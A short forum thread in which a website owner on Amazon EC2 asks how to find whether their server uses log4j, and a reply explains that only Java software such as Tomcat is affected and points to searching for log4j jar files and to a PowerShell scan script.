Is there any way of checking if a server is using log4j anywhere

I understand this is a bad security risk and needs to be sorted asap

Thanks

Hi!
That doesn't apply to httpd apache. Only if you run apache tomcat with log4j or any other Java based software usinf log4j. And then you can search for a log4j**.jar file.

I can't tell you if you run httpd apache or tomcat.

But there is a script to figure that out See also https://hope-this-helps.de/serendipity/archives/POWERSHELL-scan-nach-log4j-681.html

The website is hosted on Amazon EC2

I can see now that there is a simple patch but what is the console command to check for ever occurrence of log4j in a filename and also in any third party jar file ?

thanks
